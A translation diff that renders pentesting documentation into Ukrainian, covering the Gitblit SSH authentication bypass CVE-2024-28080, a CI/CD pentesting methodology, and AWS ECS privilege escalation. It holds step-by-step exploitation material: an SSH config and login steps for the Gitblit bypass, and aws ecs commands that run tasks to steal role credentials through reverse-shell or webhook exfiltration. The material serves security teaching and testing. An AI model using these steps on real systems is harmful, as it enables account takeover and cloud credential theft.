Translated ['', 'src/pentesting-ci-cd/gitblit-security/gitblit-embedded-

src/pentesting-ci-cd/gitblit-security/README.md

@@ -1,10 +1,10 @@
-# Gitblit Безпека
+# Безпека Gitblit
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Що таке Gitblit
 
-Gitblit — це self‑hosted Git server, написаний на Java. Він може працювати як standalone JAR або в servlet containers і має вбудований SSH service (Apache MINA SSHD) для Git over SSH.
+Gitblit — самостійно розгорнутий Git-сервер, написаний на Java. Він може працювати як standalone JAR або в servlet containers і включає вбудований SSH-сервіс (Apache MINA SSHD) для Git over SSH.
 
 ## Теми
 

src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md

@@ -1,37 +1,37 @@
-# Gitblit Вбудований обхід автентифікації SSH (CVE-2024-28080)
+# Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Коротко
 
-CVE-2024-28080 — це обхід автентифікації у вбудованому SSH-сервісі Gitblit через некоректне оброблення стану сесії при інтеграції з Apache MINA SSHD. Якщо обліковий запис користувача має принаймні один зареєстрований публічний SSH-ключ, атакувальник, який знає ім'я користувача та будь-який з його публічних ключів, може аутентифікуватися без приватного ключа і без пароля.
+CVE-2024-28080 — це обхід аутентифікації в вбудованому SSH сервісі Gitblit через некоректну обробку стану сесії при інтеграції з Apache MINA SSHD. Якщо обліковий запис користувача має щонайменше один зареєстрований SSH public key, нападник, який знає username і будь-який з public keys цього користувача, може автентифікуватись без private key і без password.
 
-- Вразливі: Gitblit < 1.10.0 (спостерігалося на 1.9.3)
-- Виправлено: 1.10.0
-- Умови для експлуатації:
-  - Git over SSH ввімкнено на інстанції
-  - Обліковий запис жертви має принаймні один зареєстрований публічний SSH-ключ у Gitblit
-  - Атакувальник знає ім'я користувача жертви та один з його публічних ключів (часто доступний, наприклад, https://github.com/<username>.keys)
+- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
+- Fixed: 1.10.0
+- Вимоги для експлуатації:
+- Git over SSH enabled on the instance
+- Victim account has at least one SSH public key registered in Gitblit
+- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
 
-## Коренева причина (state leaks between SSH methods)
+## Причина (state leaks between SSH methods)
 
-У RFC 4252 public‑key authentication проходить у два етапи: сервер спочатку перевіряє, чи наданий public key прийнятний для username, і лише після challenge/response з підписом аутентифікує користувача. У MINA SSHD PublickeyAuthenticator викликається двічі: при прийнятті ключа (ще без підпису) і пізніше, коли клієнт повертає підпис.
+Відповідно до RFC 4252, public‑key authentication проходить у дві фази: сервер спочатку перевіряє, чи є наданий public key прийнятним для username, і лише після challenge/response із підписом автентифікує користувача. У MINA SSHD PublickeyAuthenticator викликається двічі: при перевірці acceptability ключа (ще без підпису) і пізніше, коли клієнт повертає підпис.
 
-PublickeyAuthenticator у Gitblit мутував контекст сесії під час першого, до-підписного виклику, прив'язавши автентифікований UserModel до сесії та повернувши true ("key acceptable"). Коли автентифікація пізніше відкотилася до пароля, PasswordAuthenticator покладався на цей змінений стан сесії і короткозамикався, повернувши true без перевірки пароля. В результаті будь-який пароль (включно з порожнім) приймався після попередньої public‑key "acceptance" для того ж користувача.
+PublickeyAuthenticator Gitblit змінював контекст сесії під час першого, до‑підписного виклику, прив'язуючи аутентифікований UserModel до сесії і повертаючи true ("key acceptable"). Коли пізніше аутентифікація падала до password, PasswordAuthenticator довіряв зміненому стану сесії і коротко замикало процес, повертаючи true без перевірки password. В результаті будь‑який пароль (включно з пустим) приймався після попереднього public‑key "acceptance" для того ж користувача.
 
-Загальний хибний потік:
+Високорівневий неправильний сценарій:
 
-1) Клієнт пропонує username + public key (ще немає підпису)  
-2) Сервер визнає ключ таким, що належить користувачу, передчасно прив'язує користувача до сесії, повертає true ("acceptable")  
-3) Клієнт не може підписати (немає private key), тому автентифікація відкотилася до пароля  
-4) Password auth бачить, що користувач вже присутній у сесії, і безумовно повертає успіх
+1) Клієнт пропонує username + public key (ще немає підпису)
+2) Сервер розпізнає ключ як належний користувачу і передчасно прив'язує користувача до сесії, повертає true ("acceptable")
+3) Клієнт не може підписати (немає private key), тож аутентифікація переходить на password
+4) Password auth бачить, що в сесії вже є user, і безумовно повертає success
 
 ## Покрокова експлуатація
 
-- Зберіть ім'я користувача жертви та один з його public keys:
-  - GitHub надає public keys за адресою https://github.com/<username>.keys
-  - Публічні сервери часто публікують authorized_keys
-- Налаштуйте OpenSSH так, щоб він передавав лише public half, через що генерація підпису зазнає невдачі, примушуючи відкат до пароля, при цьому все ще тригеруючи шлях прийняття public‑key на сервері.
+- Зібрати username жертви і один з її public keys:
+- GitHub експонує public keys за адресою https://github.com/<username>.keys
+- Публічні сервери часто експонують authorized_keys
+- Сконфігурувати OpenSSH так, щоб подавати лише public half, щоб генерація підпису зазнала невдачі, змушуючи fallback на password, при цьому все ще тригерячи шлях public‑key acceptance на сервері.
 
 Example SSH client config (no private key available):
 ```sshconfig
@@ -44,58 +44,58 @@ PreferredAuthentications publickey,password
 IdentitiesOnly yes
 IdentityFile ~/.ssh/victim.pub   # public half only (no private key present)
 ```
-Підключіться та натисніть Enter у запиті пароля (або введіть будь-який рядок):
+Підключіться й натисніть Enter на запиті пароля (або введіть будь-який рядок):
 ```bash
 ssh gitblit-target
 # or Git over SSH
 GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
 ```
-Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
+Аутентифікація проходить успішно, тому що попередня public‑key фаза змінила стан сесії на автентифікованого користувача, а password auth помилково довіряється цьому стану.
 
 Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
 
-## Impact
+## Вплив
 
-- Повне видавання себе за будь‑якого користувача Gitblit, у якого є принаймні один зареєстрований SSH public key
-- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
-- Можливий адміністративний вплив при цілеспрямованій атакі на admin‑аккаунт
-- Pure network exploit; no brute force or private key required
+- Повне видавання себе за будь‑якого користувача Gitblit, який має принаймні один зареєстрований SSH public key
+- Доступ на читання/запис до репозиторіїв відповідно до прав жертви (source exfiltration, unauthorized pushes, supply‑chain risks)
+- Можливий адміністративний вплив при націленні на admin user
+- Чисто мережевий експлойт; не вимагає brute force або приватного ключа
 
-## Detection ideas
+## Ідеї для виявлення
 
-- Перегляньте SSH logs на предмет послідовностей, де publickey спроба супроводжується успішною password authentication з порожнім або дуже коротким паролем
-- Шукайте потоки: publickey method пропонує неподтримуваний/непідходящий ключ, після чого одразу слідує успішна password authentication для того ж username
+- Переглянути SSH логи на предмет послідовностей, де спроба publickey супроводжується успішною password автентифікацією з порожнім або дуже коротким password
+- Шукати потоки: publickey method, що пропонує unsupported/mismatched key material, а потім відбувається миттєвий password успіх для того ж username
 
-## Mitigations
+## Міри пом'якшення
 
-- Upgrade to Gitblit v1.10.0+
-- До оновлення:
-- Disable Git over SSH on Gitblit, or
-- Обмежте мережевий доступ до SSH service, and
-- Monitor for suspicious patterns described above
-- Змініть/скасуйте облікові дані користувачів, якщо підозрюється compromise
+- Оновіть до Gitblit v1.10.0+
+- Поки оновлення не відбулося:
+  - Вимкнути Git over SSH на Gitblit, або
+  - Обмежити мережевий доступ до SSH service, та
+  - Моніторити підозрілі шаблони, описані вище
+  - Провести ротацію облікових даних уражених користувачів у разі підозри на компрометацію
 
-## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
+## Загальне: зловживання SSH auth method state‑leakage (MINA/OpenSSH‑based services)
 
-Pattern: Якщо public‑key authenticator на сервері мутує стан користувача/сесії під час pre‑signature "key acceptable" фази, і інші authenticators (наприклад, password) довіряють цьому стану, то можна обійти автентифікацію шляхом:
+Шаблон: Якщо public‑key authenticator сервера змінює user/session state під час pre‑signature "key acceptable" фази, і інші authenticators (наприклад, password) довіряють цьому стану, можна обійти автентифікацію шляхом:
 
-- Presenting a legitimate public key for the target user (no private key)
-- Forcing the client to fail signing so the server falls back to password
-- Supplying any password while the password authenticator short‑circuits on leaked state
+- Представлення легітимного public key для цільового користувача (без private key)
+- Примусити client провалити підписування, щоб сервер переключився на password
+- Надання будь‑якого password, поки password authenticator short‑circuits на leaked state
 
-Practical tips:
+Практичні поради:
 
-- Public key harvesting at scale: збирайте public keys з поширених джерел, таких як https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
-- Forcing signature failure (client‑side): вкажіть IdentityFile лише на .pub, встановіть IdentitiesOnly yes, залиште PreferredAuthentications так, щоб включав publickey, а потім password
+- Public key harvesting at scale: витягувати public keys з загальних джерел, таких як https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
+- Forcing signature failure (client‑side): вкажіть IdentityFile лише на .pub, встановіть IdentitiesOnly yes, збережіть PreferredAuthentications так, щоб включити publickey потім password
 - MINA SSHD integration pitfalls:
-- PublickeyAuthenticator.authenticate(...) не повинен прив’язувати стан користувача/сесії до тих пір, поки post‑signature verification шлях не підтвердить підпис
-- PasswordAuthenticator.authenticate(...) не повинен робити висновок про успіх на основі будь‑якого стану, зміненого під час попереднього, неповного методу автентифікації
+  - PublickeyAuthenticator.authenticate(...) не повинна прикріплювати user/session state до тих пір, поки post‑signature verification path не підтвердить підпис
+  - PasswordAuthenticator.authenticate(...) не повинна робити висновок про успіх, виходячи з будь‑якого стану, зміненого під час попереднього неповного методу автентифікації
 
-Related protocol/design notes and literature:
+Пов'язані протокольні/дизайнерські нотатки та література:
 - SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
-- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
+- Історичні обговорення щодо early acceptance oracles та auth races, наприклад, суперечки навколо поведінки OpenSSH у контексті CVE‑2016‑20012
 
-## References
+## Посилання
 
 - [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
 - [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting CI/CD Методологія
+# Pentesting CI/CD Methodology
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,98 +6,98 @@
 
 ## VCS
 
-VCS означає **систему контролю версій**, ця система дозволяє розробникам **керувати своїм вихідним кодом**. Найпоширеніша — **git**, і зазвичай компанії використовують її на одній з наступних **платформ**:
+VCS stands for **Version Control System**, ця система дозволяє розробникам **керувати своїм вихідним кодом**. Найпоширеніша — **git**, і ви зазвичай знайдете компанії, що використовують його на одній з наступних **platforms**:
 
 - Github
 - Gitlab
 - Bitbucket
 - Gitea
 - Gitblit
-- Провайдери хмар (вони пропонують власні VCS платформи)
+- Cloud providers (they offer their own VCS platforms)
 
 
 ## CI/CD Pipelines
 
-CI/CD pipelines дозволяють розробникам **автоматизувати виконання коду** для різних цілей, включаючи збірку, тестування та розгортання додатків. Ці автоматизовані робочі процеси **тригеряться певними діями**, такими як push коду, pull request або заплановані завдання. Вони корисні для оптимізації процесу від розробки до продакшну.
+CI/CD pipelines дозволяють розробникам **автоматизувати виконання коду** з різними цілями, включно зі збіркою, тестуванням та деплоєм додатків. Ці автоматизовані робочі процеси **тригеряться певними діями**, такими як push-і, pull request-и або заплановані задачі. Вони корисні для оптимізації шляху від розробки до production.
 
-Однак ці системи потрібно **дещо запускати десь**, і зазвичай з **привілейованими обліковими даними для деплою коду або доступу до чутливої інформації**.
+Однак ці системи потрібно **виконувати десь** і зазвичай з **привілейованими обліковими даними для деплою коду або доступу до чутливої інформації**.
 
-## VCS Pentesting Методологія
+## VCS Pentesting Methodology
 
 > [!NOTE]
-> Навіть якщо деякі VCS платформи дозволяють створювати pipelines для цього розділу, ми будемо аналізувати лише потенційні атаки на контроль над вихідним кодом.
+> Навіть якщо деякі VCS platforms дозволяють створювати pipelines, в цьому розділі ми будемо аналізувати лише потенційні атаки на контроль над вихідним кодом.
 
-Платформи, що містять вихідний код вашого проєкту, містять чутливу інформацію, і потрібно дуже ретельно ставитися до прав, що надаються в цій платформі. Ось деякі поширені проблеми на VCS платформах, які може використати зловмисник:
+Платформи, що містять код вашого проекту, містять чутливу інформацію, тому потрібно бути дуже уважним із дозволами, виданими всередині цієї платформи. Ось кілька поширених проблем на VCS platforms, якими може зловживати attacker:
 
-- **Leaks**: Якщо ваш код містить leak у комітах і нападник може отримати доступ до репозиторію (бо він публічний або бо він має доступ), він може виявити ці leak.
-- **Access**: Якщо нападник може **отримати доступ до облікового запису в VCS платформі**, він може здобути **більше видимості та прав**.
-- **Register**: Деякі платформи просто дозволяють зовнішнім користувачам створювати обліковий запис.
-- **SSO**: Деякі платформи не дозволяють реєстрацію, але дозволяють будь-кому увійти через дійсний SSO (тому нападник, наприклад, може використати свій github акаунт для входу).
-- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... існує кілька типів токенів, які користувач може вкрасти, щоб у такий чи інший спосіб отримати доступ до репо.
-- **Webhooks**: VCS платформи дозволяють генерувати webhooks. Якщо вони **не захищені** невидимими секретами, **нападник може ними зловживати**.
-- Якщо секрету немає, нападник може зловживати webhook третьої сторони.
-- Якщо секрет знаходиться в URL, трапляється те саме і нападник також отримує секрет.
-- **Code compromise:** Якщо зловмисник має якийсь рівень **запису (write)** у репозиторіях, він може спробувати **інжектувати шкідливий код**. Щоб бути успішним, йому може знадобитися **обійти branch protections**. Ці дії можуть виконуватися з різними цілями:
-  - Скомпрометувати main branch, щоб **скомпрометувати production**.
-  - Скомпрометувати main (або інші branch) щоб **скомпрометувати машини розробників** (оскільки вони зазвичай виконують тести, terraform чи інше всередині репо на своїх машинах).
+- **Leaks**: Якщо ваш код містить leaks у комітах і attacker може отримати доступ до repo (бо він публічний або тому що attacker має доступ), він може виявити ці leaks.
+- **Access**: Якщо attacker може **получити доступ до аккаунта всередині VCS platform** — він може отримати **більшу видимість і дозволи**.
+- **Register**: Деякі платформи просто дозволяють зовнішнім користувачам створювати акаунти.
+- **SSO**: Деякі платформи не дозволяють реєстрацію, але дозволяють будь-кому увійти з валідним SSO (тому attacker, наприклад, може використати свій github акаунт для входу).
+- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... існує кілька типів токенів, які користувач може вкрасти, щоб отримати доступ до repo.
+- **Webhooks**: VCS platforms дозволяють генерувати webhooks. Якщо вони **не захищені** невидимими secrets — **attacker може ними зловживати**.
+- Якщо секрет відсутній, attacker може зловживати webhook-ом третьої сторони.
+- Якщо secret знаходиться в URL, те ж саме відбувається, і attacker також отримує secret.
+- **Code compromise:** Якщо зловмисник має якусь форму **write** доступу до репозиторіїв, він може спробувати **інжектити шкідливий код**. Щоб бути успішним, можливо, доведеться **обійти branch protections**. Ці дії можуть виконуватись з різними цілями:
+  - Компрометувати main branch, щоб **компрометувати production**.
+  - Компрометувати main (або інші гілки), щоб **компрометувати машини розробників** (оскільки вони зазвичай виконують тести, terraform чи інші речі з репо на своїх машинах).
 - **Compromise the pipeline** (див. наступний розділ)
 
-## Pipelines Pentesting Методологія
+## Pipelines Pentesting Methodology
 
-Найпоширеніший спосіб визначити pipeline — використати **CI configuration file, розміщений в репозиторії**, який збирається. Цей файл описує порядок виконуваних jobs, умови, що впливають на потік, та налаштування середовища збірки.\
-Ці файли зазвичай мають усталені імена й формати, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), та GitHub Actions YAML файли в .github/workflows. Коли pipeline тригериться, job **забирає код** з обраного джерела (наприклад commit / branch) і **виконує команди, вказані в CI конфігураційному файлі**, над цим кодом.
+Найпоширеніший спосіб визначити pipeline — це використати **CI configuration file, розміщений у репозиторії**, який цей pipeline збирає. Цей файл описує порядок виконання jobs, умови, що впливають на потік, та налаштування середовища збірки.\
+Такі файли зазвичай мають постійну назву та формат, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), а також GitHub Actions YAML файли під .github/workflows. Коли тригериться job pipeline, він **pull-ить код** із вибраного джерела (наприклад commit / branch) і **виконує команди, вказані в CI configuration file**, відносно цього коду.
 
-Отже кінцева мета нападника — якимось чином **скомпрометувати ці конфігураційні файли** або **команди, які вони виконують**.
+Отже кінцева мета attacker-а — якось **компрометувати ті конфігураційні файли** або **команди, які вони виконують**.
 
 ### PPE - Poisoned Pipeline Execution
 
-The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
+Шлях Poisoned Pipeline Execution (PPE) експлуатує права в SCM repository для маніпуляції CI pipeline та виконання шкідливих команд. Користувачі з необхідними правами можуть змінювати CI configuration files або інші файли, які використовуються job-ом pipeline, щоб включити шкідливі команди. Це «отруює» CI pipeline, приводячи до виконання цих шкідливих команд.
 
-For a malicious actor to be successful performing a PPE attack he needs to be able to:
+Для того, щоб зловмисник успішно провів PPE атаку, йому потрібно:
 
-- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
-- Note that sometimes an **external PR count as "write access"**.
-- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
-- For this, he might need to be able to **bypass branch protections**.
+- Мати **write access до VCS platform**, оскільки зазвичай pipelines тригеряться при push або pull request. (Перегляньте VCS pentesting methodology для резюме способів отримання доступу).
+- Зверніть увагу, що іноді **external PR рахується як "write access"**.
+- Навіть маючи write permissions, потрібно бути впевненим, що він може **змінити CI config file або інші файли, на які опирається конфіг**.
+- Для цього йому, можливо, доведеться **обійти branch protections**.
 
-There are 3 PPE flavours:
+Існує 3 варіанти PPE:
 
-- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
-- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
-- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
-- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
+- **D-PPE**: **Direct PPE** — коли actor **безпосередньо модифікує CI config** файл, який буде виконуватись.
+- **I-DDE**: **Indirect PPE** — коли actor **модифікує** файл, на який CI config покладається (наприклад Makefile або terraform config).
+- **Public PPE or 3PE**: У деяких випадках pipelines можуть бути **тригерені користувачами, які не мають write access до repo** (і навіть які можуть не бути частиною org), бо вони можуть надіслати PR.
+- **3PE Command Injection**: Зазвичай CI/CD pipelines будуть **встановлювати env variables** з **інформацією про PR**. Якщо attacker може контролювати це значення (наприклад заголовок PR) і воно **використовується** у **небезпечному місці** (наприклад при виконанні sh команд), attacker може **інжектити туди команди**.
 
 ### Exploitation Benefits
 
-Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
+Знаючи 3 варіанти отруєння pipeline, перевіримо, що attacker може отримати після успішної експлуатації:
 
-- **Secrets**: Як згадувалося раніше, pipelines вимагають **привілеїв** для своїх job-ів (отримати код, зібрати його, задеплоїти тощо), і ці привілеї зазвичай **надаються у вигляді секретів**. Ці секрети зазвичай доступні через **env variables або файли всередині системи**. Тому нападник завжди буде намагатися ексфільтрувати якомога більше секретів.
-- Залежно від платформи pipeline, нападнику **може знадобитися вказати секрети в конфігу**. Це означає, що якщо нападник не може модифікувати CI конфігурацію pipeline (наприклад I-PPE), він може **експфільтрувати лише ті секрети, які має цей pipeline**.
-- **Computation**: Код виконується десь; залежно від того, де він виконується, нападник може мати можливість пересунутися далі.
-- **On-Premises**: Якщо pipelines виконуються on-premises, нападник може опинитися в **внутрішній мережі з доступом до додаткових ресурсів**.
-- **Cloud**: Нападник може отримати доступ до **інших машин у хмарі**, а також може **ексфільтрувати** токени IAM ролей/сервісних акаунтів, щоб здобути **подальший доступ у хмарі**.
-- **Platforms machine**: Іноді job-и виконуються на **машинах платформи pipeline**, які зазвичай знаходяться в хмарі й не мають додаткового доступу.
-- **Select it:** Іноді **платформа pipeline має декілька типів машин**, і якщо ви можете **модифікувати CI конфігураційний файл**, ви можете **вказати, де запускати шкідливий код**. У цьому випадку нападник, ймовірно, запустить зворотний шелл на кожній можливій машині, щоб спробувати розширити експлуатацію.
-- **Compromise production**: Якщо ви всередині pipeline і фінальна версія будується та задеплоюється звідти, ви можете **скомпрометувати код, який потрапить у production**.
+- **Secrets**: Як згадувалося раніше, pipelines потребують **привілеїв** для своїх jobs (отримати код, збирати, деплоїти тощо) і ці привілеї зазвичай **видані у вигляді secrets**. Ці secrets зазвичай доступні через **env variables або файли в системі**. Тому attacker завжди буде намагатися ексфільтрувати якомога більше secrets.
+- Залежно від платформи pipeline, attacker **може потребувати вказати secrets у конфіг**. Це означає, що якщо attacker не може змінити CI configuration pipeline (наприклад I-PPE), він може **викрасти лише ті secrets, що присутні у цього pipeline**.
+- **Computation**: Код виконується десь; залежно від місця виконання attacker може здійснити подальший pivot.
+- **On-Premises**: Якщо pipelines виконуються on-premises, attacker може опинитися в **внутрішній мережі з доступом до додаткових ресурсів**.
+- **Cloud**: Attacker може отримати доступ **до інших машин у cloud**, а також ексфільтрувати IAM roles/service accounts **tokens**, щоб отримати **подальший доступ у cloud**.
+- **Platforms machine**: Інколи jobs виконуються на **машинах платформи pipeline**, які зазвичай знаходяться в cloud і не мають додаткового доступу.
+- **Select it:** Іноді **платформа pipeline має кілька машин**, і якщо ви можете **змінити CI configuration file**, ви можете **вказати, де запускати шкідливий код**. У такій ситуації attacker, ймовірно, запустить reverse shell на кожній доступній машині, щоб спробувати експлуатувати її далі.
+- **Compromise production**: Якщо ви всередині pipeline і фінальна версія збирається та деплоїться звідти, ви можете **компрометувати код, який потім виконуватиметься в production**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) — open-source tool для аудиту вашого software supply chain stack на відповідність безпеці, базований на новому [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит зосереджений на всьому SDLC процесі, де можна виявити ризики від часу коду до часу деплою.
 
 ### Top 10 CI/CD Security Risk
 
-Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Перегляньте цікаву статтю про топ-10 CI/CD ризиків за версією Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- На кожній платформі, яку ви можете запускати локально, ви знайдете інструкції, як її запустити локально, щоб налаштувати її на тестування.
+- На кожній платформі, яку ви можете запускати локально, ви знайдете інструкцію, як запустити її локально, щоб налаштувати і протестувати.
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** — це інструмент статичного аналізу коду для infrastructure-as-code.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** — static code analysis tool для infrastructure-as-code.
 
 ## References
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -4,7 +4,7 @@
 
 ## ECS
 
-Додаткова **інформація про ECS** у:
+Більше **інформації про ECS** в:
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити новий task definition** з **шкідливим контейнером**, який викрадає облікові дані метаданих і **запустити його**.
+Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити новий task definition** зі **шкідливим контейнером**, який викрадає облікові дані метаданих та **запустити його**.
 
 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 {{#tab name="Webhook" }}
 
-Створіть webhook на сайті на кшталт webhook.site
+Створіть webhook за допомогою сайту на кшталт webhook.site
 ```bash
 
 # Create file container-definition.json
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 {{#endtabs }}
 
-**Потенційний вплив:** Direct privesc to a different ECS role.
+**Потенційний вплив:** Direct privesc до іншої ролі ECS.
 
 ### `iam:PassRole`,`ecs:RunTask`
-Зловмисник, який має дозволи `iam:PassRole` та `ecs:RunTask`, може запустити нове ECS завдання з зміненими значеннями **execution role**, **task role** та **command** контейнера. CLI-команда `ecs run-task` містить прапорець `--overrides`, який дозволяє змінювати під час виконання `executionRoleArn`, `taskRoleArn` та `command` контейнера без модифікації task definition.
+Атакувач, який має дозволи `iam:PassRole` та `ecs:RunTask`, може запустити нове завдання ECS з модифікованими значеннями **execution role**, **task role** та **command** контейнера. Команда CLI `ecs run-task` містить прапорець `--overrides`, який дозволяє під час виконання змінювати `executionRoleArn`, `taskRoleArn` та `command` контейнера без змін у task definition.
 
-Вказані IAM ролі для `taskRoleArn` та `executionRoleArn` у політиці довіри повинні дозволяти їх бути assumed сервісом `ecs-tasks.amazonaws.com`.
+Вказані IAM ролі для `taskRoleArn` та `executionRoleArn` у своїй політиці довіри повинні дозволяти, щоб їх приймав сервіс `ecs-tasks.amazonaws.com`.
 
-Крім того, зловмиснику потрібно знати:
-- назву ECS кластера
+Також, атакувач повинен знати:
+- назву кластера ECS
 - VPC Subnet
-- Security group (If no security group is specified the default one will be used)
+- Security group (Якщо не вказано, буде використано групу за замовчуванням)
 - назву Task Definition та ревізію
-- назву контейнера
+- назву Container
 ```bash
 aws ecs run-task \
 --cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
 ]
 }'
 ```
-У наведеному вище фрагменті коду атакувальник змінює тільки значення `taskRoleArn`. Проте атакувальник повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, і на `executionRoleArn`, вказаний у визначенні таска, щоб атака була можлива.
+У наведеному вище фрагменті коду атакуючий перезаписує лише значення `taskRoleArn`. Однак для виконання атаки атакуючий повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, та на `executionRoleArn`, вказаний у визначенні завдання.
 
-Якщо IAM role, яку атакувальник може передати, має достатні привілеї для завантаження образу з ECR та запуску ECS таска (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то атакувальник може вказати ту саму IAM role для обох `executionRoleArn` і `taskRoleArn` у команді `ecs run-task`.
+Якщо роль IAM, яку атакуючий може передати, має достатні привілеї для завантаження образу з ECR і запуску ECS-завдання (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то атакуючий може вказати одну й ту саму роль IAM як для `executionRoleArn`, так і для `taskRoleArn` у команді `ecs run-task`.
 ```sh
 aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
 {
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
 ]
 }'
 ```
-**Можливий вплив:** Пряме privesc до будь-якої ECS task role.
+**Potential Impact:** Прямий privesc до будь-якої ECS task role.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
-Як і в попередньому прикладі, зловмисник, що зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **згенерувати нову task definition** з **malicious container**, яка викрадає metadata credentials і **запустити її**.\
-Однак у цьому випадку потрібен container instance для запуску malicious task definition.
+Як і в попередньому прикладі, атакуючий, який зловживає правами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **згенерувати новий task definition** з **malicious container**, який краде metadata credentials і **запустити його**.\
+Однак у цьому випадку потрібен container instance, щоб запустити зловмисний task definition.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Potential Impact:** Прямий privesc до будь-якої ролі ECS.
+**Потенційний вплив:** Прямий privesc на будь-яку роль ECS.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
 
